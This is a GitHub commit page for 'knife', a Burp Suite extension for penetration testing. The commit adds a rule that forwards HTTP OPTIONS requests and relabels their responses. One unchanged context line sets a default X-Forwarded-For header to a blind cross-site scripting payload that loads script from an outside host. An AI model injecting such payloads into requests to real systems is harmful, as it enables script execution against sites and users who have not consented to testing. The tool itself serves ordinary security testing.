Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
  • Loading branch information
bit4woo committed Jan 8, 2024
1 parent 2591ad2 commit d27177d
Show file tree
Hide file tree
Showing 5 changed files with 39 additions and 10 deletions.
5 changes: 2 additions & 3 deletions src/burp/BurpExtender.java
Original file line number Diff line number Diff line change
Expand Up @@ -251,8 +251,7 @@ public void processProxyMessage(boolean messageIsRequest, IInterceptedProxyMessa
HeaderManager.checkURLBasedRuleAndTakeAction(rule, messageIsRequest, messageInfo);
}

//remove header
if (rule.isGlobalRemoveHeaderHandleActionType()) {
if (rule.isGlobalHandleActionType()) {
HeaderManager.checkGlobalRuleAndTakeAction(rule, messageIsRequest, messageInfo);
}
}
Expand Down Expand Up @@ -291,7 +290,7 @@ public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequ
}

//remove header
if (rule.isGlobalRemoveHeaderHandleActionType()) {
if (rule.isGlobalHandleActionType()) {
HeaderManager.checkGlobalRuleAndTakeAction(rule, messageIsRequest, messageInfo);
}
}
Expand Down
13 changes: 12 additions & 1 deletion src/config/ConfigEntry.java
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ public class ConfigEntry {
public static final String Action_Add_Or_Replace_Header = "Action_Add_Or_Replace_Header";// scope is controlled by gui
public static final String Action_Append_To_header_value = "Action_Append_To_header_value";// scope is controlled by gui
public static final String Action_Remove_From_Headers = "Action_Remove_From_Headers"; //scope is for all request
public static final String Action_Forward_And_Hide_Options = "Action_Forward_And_Hide_Options"; //scope is for all request
private static final String Action_ = "Action_";

public static final String Action_If_Base_URL_Matches_Add_Or_Replace_Header = "Action_If_Base_URL_Matches_Add_Or_Replace_Header";
Expand All @@ -35,6 +36,7 @@ public class ConfigEntry {
public static final String Action_Forward_Request_If_Host_Matches = "Action_Forward_Request_If_Host_Matches";
public static final String Action_Forward_Request_If_URL_Matches = "Action_Forward_Request_If_URL_Matches";
public static final String Action_Forward_Request_If_Keyword_Matches = "Action_Forward_Request_If_Keyword_Matches";

private static final String Action_Forward_Request = "Action_Forward_Request";


Expand Down Expand Up @@ -191,10 +193,19 @@ public boolean isScopeBasedHeaderHandleActionType() {
}


public boolean isGlobalRemoveHeaderHandleActionType() {
public boolean isGlobalHandleActionType() {
if (type.equals(Action_Remove_From_Headers)) {
return true;
}
if (type.equals(Action_Add_Or_Replace_Header)) {
return true;
}
if (type.equals(Action_Append_To_header_value)) {
return true;
}
if (type.equals(Action_Forward_And_Hide_Options)) {
return true;
}
return false;
}

Expand Down
1 change: 1 addition & 0 deletions src/config/ConfigTableModel.java
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,7 @@ public ConfigTableModel(){
configEntries.add(new ConfigEntry("Last-Modified", "",ConfigEntry.Action_Remove_From_Headers,true,true,Global_Scope_Comment));
configEntries.add(new ConfigEntry("If-Modified-Since", "",ConfigEntry.Action_Remove_From_Headers,true,true,Global_Scope_Comment));
configEntries.add(new ConfigEntry("If-None-Match", "",ConfigEntry.Action_Remove_From_Headers,true,true,Global_Scope_Comment));
configEntries.add(new ConfigEntry("OPTIONS", "",ConfigEntry.Action_Forward_And_Hide_Options,true,true,Global_Scope_Comment));

configEntries.add(new ConfigEntry("X-Forwarded-For", "'\\\"><sCRiPt/src=//bmw.xss.ht>",ConfigEntry.Action_Add_Or_Replace_Header,true,true,Scope_Comment));
//避免IP:port的切分操作,把Payload破坏,所以使用不带分号的简洁Payload
Expand Down
14 changes: 11 additions & 3 deletions src/manager/DismissedTargetsManager.java
Original file line number Diff line number Diff line change
Expand Up @@ -44,14 +44,14 @@ public static void putRule(IHttpRequestResponse[] messages,String keyword,String

if (action.equalsIgnoreCase(ConfigEntry.Action_Drop_Request_If_Host_Matches)
|| action.equalsIgnoreCase(ConfigEntry.Action_Forward_Request_If_Host_Matches)) {

delSameConditionRule(host);
GUI.tableModel.addNewConfigEntry(new ConfigEntry(host, "",action,true));
}

if (action.equalsIgnoreCase(ConfigEntry.Action_Drop_Request_If_URL_Matches)
|| action.equalsIgnoreCase(ConfigEntry.Action_Forward_Request_If_URL_Matches)) {

delSameConditionRule(url);
GUI.tableModel.addNewConfigEntry(new ConfigEntry(url, "",action,true));
}
Expand All @@ -61,7 +61,7 @@ public static void putRule(IHttpRequestResponse[] messages,String keyword,String
if (keyword != null && !keyword.equals("")) {
if (action.equalsIgnoreCase(ConfigEntry.Action_Drop_Request_If_Keyword_Matches)
|| action.equalsIgnoreCase(ConfigEntry.Action_Forward_Request_If_Keyword_Matches)) {

delSameConditionRule(keyword);
GUI.tableModel.addNewConfigEntry(new ConfigEntry(keyword, "",action,true));
}
Expand Down Expand Up @@ -135,6 +135,14 @@ private static MatchResult whichAction(ConfigEntry rule,IHttpRequestResponse mes
String host = getHost(message);//域名不应该大小写敏感
String url = getUrl(message);//URL中可能包含大写字母比如getUserInfo,URL应该是大小写敏感的。

if (rule.getType().equals(ConfigEntry.Action_Forward_And_Hide_Options) && rule.isEnable()) {
HelperPlus getter = new HelperPlus(BurpExtender.callbacks.getHelpers());
String method = getter.getMethod(message);
if (method.equals("OPTIONS")) {
return new MatchResult(Forward, rule);
}
}

if (rule.getType().equalsIgnoreCase(ConfigEntry.Action_Drop_Request_If_Host_Matches)) {
if (host.equalsIgnoreCase(rule.getKey())) {
return new MatchResult(Drop, rule);
Expand Down
16 changes: 13 additions & 3 deletions src/manager/HeaderManager.java
Original file line number Diff line number Diff line change
Expand Up @@ -329,19 +329,29 @@ public static IHttpRequestResponse checkScopeBasedRuleAndTakeAction(ConfigEntry
public static IHttpRequestResponse checkGlobalRuleAndTakeAction(ConfigEntry rule,boolean messageIsRequest, IHttpRequestResponse messageInfo){
//remove header
byte[] oldRequest = messageInfo.getRequest();

String key = rule.getKey();
HelperPlus getter = new HelperPlus(BurpExtender.callbacks.getHelpers());
if (rule.getType().equals(ConfigEntry.Action_Remove_From_Headers) && rule.isEnable()) {
getter.removeHeader(messageIsRequest, messageInfo, key);
}


if (rule.getType().equals(ConfigEntry.Action_Forward_And_Hide_Options) && rule.isEnable()) {
if (!messageIsRequest) {
String method = getter.getMethod(messageInfo);
if (method.equals("OPTIONS")) {
getter.addOrUpdateHeader(messageIsRequest, messageInfo, "Content-Type", "application/octet-stream");
messageInfo.setComment("auto changed by knife");
}
}
}

byte[] newRequest = messageInfo.getRequest();
if (!Arrays.equals(newRequest,oldRequest)){
//https://stackoverflow.com/questions/9499560/how-to-compare-the-java-byte-array
messageInfo.setComment("auto changed by knife");
}

return messageInfo;
}

Expand Down

0 comments on commit d27177d

Please sign in to comment.